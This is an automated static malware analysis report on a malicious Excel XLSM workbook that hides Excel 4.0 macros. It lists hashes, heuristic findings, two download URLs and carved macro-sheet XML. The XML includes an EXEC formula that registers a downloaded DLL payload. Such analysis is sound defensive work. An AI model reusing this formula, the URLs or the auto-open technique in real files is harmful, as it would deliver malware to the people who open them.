Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 7867771442bac172…

MALICIOUS

Office (OOXML) / .XLSM

109.5 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300
MD5: 6e71af270878456ef916c2ab349837cc SHA-1: f9a54d7e8e608b51d293286803e9ca56c9c157e2 SHA-256: 7867771442bac172c2879bab11b25be3437b2775a06c748e278dd7577f680ad5
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an XLSM document containing Excel 4.0 macros. These macros utilize dangerous functions like EXEC and CALL to download and execute payloads from the URLs https://immobiliareneri.casa/drms/ind.html and https://gidbasket.com/drms/ind.html. The macros appear to be designed to download and execute a second-stage payload, potentially named 'duron.bnm1' or 'duron.bnm2', and register it as a DLL.

Heuristics 6

  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT, FORMULA, WORKBOOK.HIDE, CALL critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://immobiliareneri.casa/drms/ind.html In document text (OOXML body / shared strings)
    • https://gidbasket.com/drms/ind.htmlIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
7d118572f5fe7d6ff43ed02ebd45ba65e8abef406e7a780baf6c364273fc6add		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 3454 bytes
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AJ4:AQ20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="5" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="36" max="43" width="5" hidden="1" customWidth="1"/></cols><sheetData><row r="4" spans="36:43" x14ac:dyDescent="0.25"><c r="AO4" s="2"/><c r="AP4" s="1" t="s"><v>0</v></c><c r="AQ4" s="1" t="s"><v>1</v></c></row><row r="5" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ5" s="1" t="b"><f>654984654984+1694894654=EXEC(Sheet2!AM34&amp;"..\duron.bnm1"&amp;",DllRegisterServer")=654984654984+1694894654=EXEC(Sheet2!AM34&amp;"..\duron.bnm2"&amp;",DllRegisterServer")</f><v>0</v></c><c r="AO5" s="2"/><c r="AP5" s="1" t="s"><v>2</v></c><c r="AQ5" s="1" t="s"><v>1</v></c></row><row r="6" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ6" s="1"/><c r="AP6" s="1" t="s"><v>3</v></c><c r="AQ6" s="1" t="s"><v>4</v></c></row><row r="7" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ7" s="1"/><c r="AO7" s="2"/><c r="AP7" s="1" t="s"><v>5</v></c><c r="AQ7" s="1" t="s"><v>4</v></c></row><row r="8" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ8" s="1"/><c r="AO8" s="2"/><c r="AP8" s="1" t="s"><v>6</v></c><c r="AQ8" s="1" t="s"><v>7</v></c></row><row r="9" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ9" s="1"/><c r="AO9" s="2"/><c r="AP9" s="1" t="s"><v>8</v></c><c r="AQ9" s="1" t="s"><v>7</v></c></row><row r="10" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ10" s="1"/><c r="AO10" s="1"/><c r="AP10" s="1" t="s"><v>9</v></c><c r="AQ10" s="1"/></row><row r="11" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ11" s="1" t="b"><f>HALT()</f><v>1</v></c><c r="AO11" s="1"/><c r="AP11" s="1" t="s"><v>10</v></c><c r="AQ11" s="1"/></row><row r="12" spans="36:43" x14ac:dyDescent="0.25"><c r="AO12" s="1"/><c r="AP12" s="1" t="s"><v>6</v></c><c r="AQ12" s="1"/></row><row r="13" spans="36:43" x14ac:dyDescent="0.25"><c r="AO13" s="1"/><c r="AP13" s="1" t="s"><v>11</v></c><c r="AQ13" s="1"/></row><row r="14" spans="36:43" x14ac:dyDescent="0.25"><c r="AO14" s="1"/><c r="AP14" s="1" t="s"><v>12</v></c><c r="AQ14" s="1"><v>0</v></c></row><row r="15" spans="36:43" x14ac:dyDescent="0.25"><c r="AO15" s="1"/><c r="AP15" s="1" t="s"><v>13</v></c><c r="AQ15" s="1"/></row><row r="16" spans="36:43" x14ac:dyDescent="0.25"><c r="AO16" s="1"/><c r="AP16" s="1" t="s"><v>6</v></c><c r="AQ16" s="1"/></row><row r="17" spans="41:43" x14ac:dyDescent="0.25"><c r="AO17" s="1"/><c r="AP17" s="1" t="s"><v>14</v></c><c r="AQ17" s="1"/></row><row r="18" spans="41:43" x14ac:dyDescent="0.25"><c r="AO18" s="1"/><c r="AP18" s="1" t="s"><v>15</v></c><c r="AQ18" s="1"/></row><row r="19" spans="41:43" x14ac:dyDescent="0.25"><c r="AO19" s="1"/><c r="AP19" s="1" t="s"><v>10</v></c><c r="AQ19" s="1"/></row><row r="20" spans="41:43" x14ac:dyDescent="0.25"><c r="AO20" s="1"/><c r="AP20" s="1" t="s"><v>16</v></c><c r="AQ20" s="1"/></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml
fbe5e7dbb69c9673a292262e360301ab1ec7a303eb74e3af592196e67c71385f		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 205673 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A1:BW283"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="5" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="39" width="5" style="2"/><col min="40" max="40" width="5" style="2" customWidth="1"/><col min="41" max="48" width="5" style="2" hidden="1" customWidth="1"/><col min="49" max="16384" width="5" style="2"/></cols><sheetData><row r="1" spans="1:41" x14ac:dyDescent="0.25"><c r="A1" s="1"/><c r="B1" s="1"/><c r="C1" s="1"/><c r="D1" s="1"/><c r="E1" s="1"/><c r="F1" s="1"/><c r="G1" s="1"/><c r="H1" s="1"/><c r="I1" s="1"/><c r="J1" s="1"/><c r="K1" s="1"/><c r="L1" s="1"/><c r="M1" s="1"/><c r="N1" s="1"/><c r="O1" s="1"/><c r="P1" s="1"/><c r="Q1" s="1"/><c r="R1" s="1"/><c r="S1" s="1"/><c r="T1" s="1"/><c r="U1" s="1"/><c r="V1" s="1"/><c r="W1" s="1"/><c r="X1" s="1"/><c r="Y1" s="1"/><c r="Z1" s="1"/><c r="AA1" s="1"/><c r="AB1" s="1"/><c r="AC1" s="1"/><c r="AD1" s="1"/><c r="AE1" s="1"/><c r="AF1" s="1"/><c r="AG1" s="1"/><c r="AH1" s="1"/><c r="AI1" s="1"/><c r="AJ1" s="1"/></row><row r="2" spans="1:41" x14ac:dyDescent="0.25"><c r="A2" s="1"/><c r="B2" s="1"/><c r="C2" s="1"/><c r="D2" s="1"/><c r="E2" s="1"/><c r="F2" s="1"/><c r="G2" s="1"/><c r="H2" s="1"/><c r="I2" s="1"/><c r="J2" s="1"/><c r="K2" s="1"/><c r="L2" s="1"/><c r="M2" s="1"/><c r="N2" s="1"/><c r="O2" s="1"/><c r="P2" s="1"/><c r="Q2" s="1"/><c r="R2" s="1"/><c r="S2" s="1"/><c r="T2" s="1"/><c r="U2" s="1"/><c r="V2" s="1"/><c r="W2" s="1"/><c r="X2" s="1"/><c r="Y2" s="1"/><c r="Z2" s="1"/><c r="AA2" s="1"/><c r="AB2" s="1"/><c r="AC2" s="1"/><c r="AD2" s="1"/><c r="AE2" s="1"/><c r="AF2" s="1"/><c r="AG2" s="1"/><c r="AH2" s="1"/><c r="AI2" s="1"/><c r="AJ2" s="1"/></row><row r="3" spans="1:41" x14ac:dyDescent="0.25"><c r="A3" s="1"/><c r="B3" s="1"/><c r="C3" s="1"/><c r="D3" s="1"/><c r="E3" s="1"/><c r="F3" s="1"/><c r="G3" s="1"/><c r="H3" s="1"/><c r="I3" s="1"/><c r="J3" s="1"/><c r="K3" s="1"/><c r="L3" s="1"/><c r="M3" s="1"/><c r="N3" s="1"/><c r="O3" s="1"/><c r="P3" s="1"/><c r="Q3" s="1"/><c r="R3" s="1"/><c r="S3" s="1"/><c r="T3" s="1"/><c r="U3" s="1"/><c r="V3" s="1"/><c r="W3" s="1"/><c r="X3" s="1"/><c r="Y3" s="1"/><c r="Z3" s="1"/><c r="AA3" s="1"/><c r="AB3" s="1"/><c r="AC3" s="1"/><c r="AD3" s="1"/><c r="AE3" s="1"/><c r="AF3" s="1"/><c r="AG3" s="1"/></row><row r="4" spans="1:41" x14ac:dyDescent="0.25"><c r="A4" s="1"/><c r="B4" s="1"/><c r="C4" s="1"/><c r="D4" s="1"/><c r="E4" s="1"/><c r="F4" s="1"/><c r="G4" s="1"/><c r="H4" s="1"/><c r="I4" s="1"/><c r="J4" s="1"/><c r="K4" s="1"/><c r="L4" s="1"/><c r="M4" s="1"/><c r="N4" s="1"/><c r="O4" s="1"/><c r="P4" s="1"/><c r="Q4" s="1"/><c r="R4" s="1"/><c r="S4" s="1"/><c r="T4" s="1"/><c r="U4" s="1"/><c r="V4" s="1"/><c r="W4" s="1"/><c r="X4" s="1"/><c r="Y4" s="1"/><c r="Z4" s="1"/><c r="AA4" s="1"/><c r="AB4" s="1"/><c r="AC4" s="1"/><c r="AD4" s="1"/><c r="AE4" s="1"/><c r="AF4" s="1"/><c r="AG4" s="1"/></row><row r="5" spans="1:41" x14ac:dyDescent="0.25"><c r="A5" s="1"/><c r="B5" s="1"/><c r="C5" s="1"/><c r="D5" s="1"/><c r="E5" s="1"/><c r="F5" s="1"/><c r="G5" s="1"/><c r="H5" s="1"/><c r="I5" s="1"/><c r="J5" s="1"/><c r="K5" s="1"/><c r="L5" s="1"/><c r="M5" s="1"/><c r="N5" s="1"/><c r="O5" s="1"/><c r="P5" s="1"/><c r="Q5" s="1"/><c r="R5" s="1"/><c r="S5" s="1"/><c r="T5" s="1"/><c r="U5" s="1"/><c r="V5" s="1"/><c r="W5" s="1"/><c r="X5" s="1"/><c r="Y5" s="1"/><c r="Z5" s="1"/><c r="AA5" s="1"/><c r="AB5" s="1"/><c r="AC5" s="1"/><c r="AD5" s="1"/><c r="AE5" s="1"/><c r="AF5" s="1"/><c r="AG5" s="
... (truncated)

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